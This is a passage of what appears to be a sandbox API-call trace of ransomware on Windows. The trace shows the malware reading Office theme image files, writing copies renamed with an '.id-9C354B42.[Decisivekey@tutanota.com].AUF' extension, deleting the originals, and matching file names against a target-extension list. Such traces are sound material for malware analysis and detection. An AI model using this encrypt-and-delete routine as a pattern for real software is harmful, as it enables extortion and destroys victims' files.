Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.345] GetLastError () returned 0x0 [0212.345] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x785, lpOverlapped=0x0) returned 1 [0212.361] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x790, lpOverlapped=0x0) returned 1 [0212.362] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.362] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.362] SetEndOfFile (hFile=0x1e0) returned 1 [0212.362] CloseHandle (hObject=0x1e0) returned 1 [0212.363] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.363] SetEndOfFile (hFile=0x204) returned 1 [0212.363] CloseHandle (hObject=0x204) returned 1 [0212.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString=".doc") returned 4 [0212.364] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.364] lstrlenW (lpString=".docx") returned 5 [0212.364] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.364] lstrlenW (lpString=".pdf") returned 4 [0212.364] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.364] lstrlenW (lpString=".xls") returned 4 [0212.364] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.364] lstrlenW (lpString=".xlsx") returned 5 [0212.364] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.364] lstrlenW (lpString=".ppt") returned 4 [0212.364] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString=".zip") returned 4 [0212.364] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.364] lstrlenW (lpString=".rar") returned 4 [0212.364] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.364] lstrlenW (lpString=".bz2") returned 4 [0212.364] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.364] lstrlenW (lpString=".7z") returned 3 [0212.364] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString=".dbf") returned 4 [0212.364] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString=".1cd") returned 4 [0212.364] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.364] lstrlenW (lpString=".jpg") returned 4 [0212.364] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString=".doc") returned 4 [0212.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.365] lstrlenW (lpString=".docx") returned 5 [0212.365] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.365] lstrlenW (lpString=".pdf") returned 4 [0212.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString=".xls") returned 4 [0212.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString=".xlsx") returned 5 [0212.365] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.365] lstrlenW (lpString=".ppt") returned 4 [0212.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString=".zip") returned 4 [0212.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString=".rar") returned 4 [0212.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.365] lstrlenW (lpString=".bz2") returned 4 [0212.365] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.365] lstrlenW (lpString=".7z") returned 3 [0212.365] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString=".dbf") returned 4 [0212.365] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString=".1cd") returned 4 [0212.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0212.365] lstrlenW (lpString=".jpg") returned 4 [0212.365] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.365] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.365] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.375] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=27407) returned 1 [0212.375] CloseHandle (hObject=0x204) returned 1 [0212.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0212.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.375] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.375] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.376] GetLastError () returned 0x0 [0212.376] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0212.395] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0212.397] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.397] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.397] SetEndOfFile (hFile=0x1e0) returned 1 [0212.397] CloseHandle (hObject=0x1e0) returned 1 [0212.397] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.397] SetEndOfFile (hFile=0x204) returned 1 [0212.398] CloseHandle (hObject=0x204) returned 1 [0212.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.398] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0212.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.398] lstrlenW (lpString=".doc") returned 4 [0212.398] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.398] lstrlenW (lpString=".docx") returned 5 [0212.399] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.399] lstrlenW (lpString=".pdf") returned 4 [0212.399] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString=".xls") returned 4 [0212.399] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".xlsx") returned 5 [0212.399] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.399] lstrlenW (lpString=".ppt") returned 4 [0212.399] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".zip") returned 4 [0212.399] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".rar") returned 4 [0212.399] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".bz2") returned 4 [0212.399] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString=".7z") returned 3 [0212.399] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".dbf") returned 4 [0212.399] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".1cd") returned 4 [0212.399] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".jpg") returned 4 [0212.399] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".doc") returned 4 [0212.399] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString=".docx") returned 5 [0212.399] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.399] lstrlenW (lpString=".pdf") returned 4 [0212.399] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.399] lstrlenW (lpString=".xls") returned 4 [0212.399] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".xlsx") returned 5 [0212.399] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.399] lstrlenW (lpString=".ppt") returned 4 [0212.399] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.399] lstrlenW (lpString=".zip") returned 4 [0212.399] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".rar") returned 4 [0212.399] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.399] lstrlenW (lpString=".bz2") returned 4 [0212.400] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.400] lstrlenW (lpString=".7z") returned 3 [0212.400] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.400] lstrlenW (lpString=".dbf") returned 4 [0212.400] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.400] lstrlenW (lpString=".1cd") returned 4 [0212.400] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0212.400] lstrlenW (lpString=".jpg") returned 4 [0212.400] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.400] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.400] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.400] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3479) returned 1 [0212.400] CloseHandle (hObject=0x204) returned 1 [0212.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0212.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.400] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.400] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.402] GetLastError () returned 0x0 [0212.402] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xd97, lpOverlapped=0x0) returned 1 [0212.403] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0212.404] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.404] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.404] SetEndOfFile (hFile=0x1e0) returned 1 [0212.404] CloseHandle (hObject=0x1e0) returned 1 [0212.404] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.404] SetEndOfFile (hFile=0x204) returned 1 [0212.405] CloseHandle (hObject=0x204) returned 1 [0212.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.405] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0212.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.405] lstrlenW (lpString=".doc") returned 4 [0212.405] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.405] lstrlenW (lpString=".docx") returned 5 [0212.405] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.405] lstrlenW (lpString=".pdf") returned 4 [0212.405] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.405] lstrlenW (lpString=".xls") returned 4 [0212.405] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.405] lstrlenW (lpString=".xlsx") returned 5 [0212.405] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.405] lstrlenW (lpString=".ppt") returned 4 [0212.405] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.405] lstrlenW (lpString=".zip") returned 4 [0212.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.405] lstrlenW (lpString=".rar") returned 4 [0212.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.405] lstrlenW (lpString=".bz2") returned 4 [0212.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.405] lstrlenW (lpString=".7z") returned 3 [0212.405] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".dbf") returned 4 [0212.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".1cd") returned 4 [0212.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".jpg") returned 4 [0212.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".doc") returned 4 [0212.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString=".docx") returned 5 [0212.406] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.406] lstrlenW (lpString=".pdf") returned 4 [0212.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString=".xls") returned 4 [0212.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString=".xlsx") returned 5 [0212.406] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.406] lstrlenW (lpString=".ppt") returned 4 [0212.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".zip") returned 4 [0212.406] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString=".rar") returned 4 [0212.406] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.406] lstrlenW (lpString=".bz2") returned 4 [0212.406] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString=".7z") returned 3 [0212.406] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".dbf") returned 4 [0212.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".1cd") returned 4 [0212.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0212.406] lstrlenW (lpString=".jpg") returned 4 [0212.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.406] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.406] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.407] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2722) returned 1 [0212.407] CloseHandle (hObject=0x204) returned 1 [0212.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0212.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.407] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, 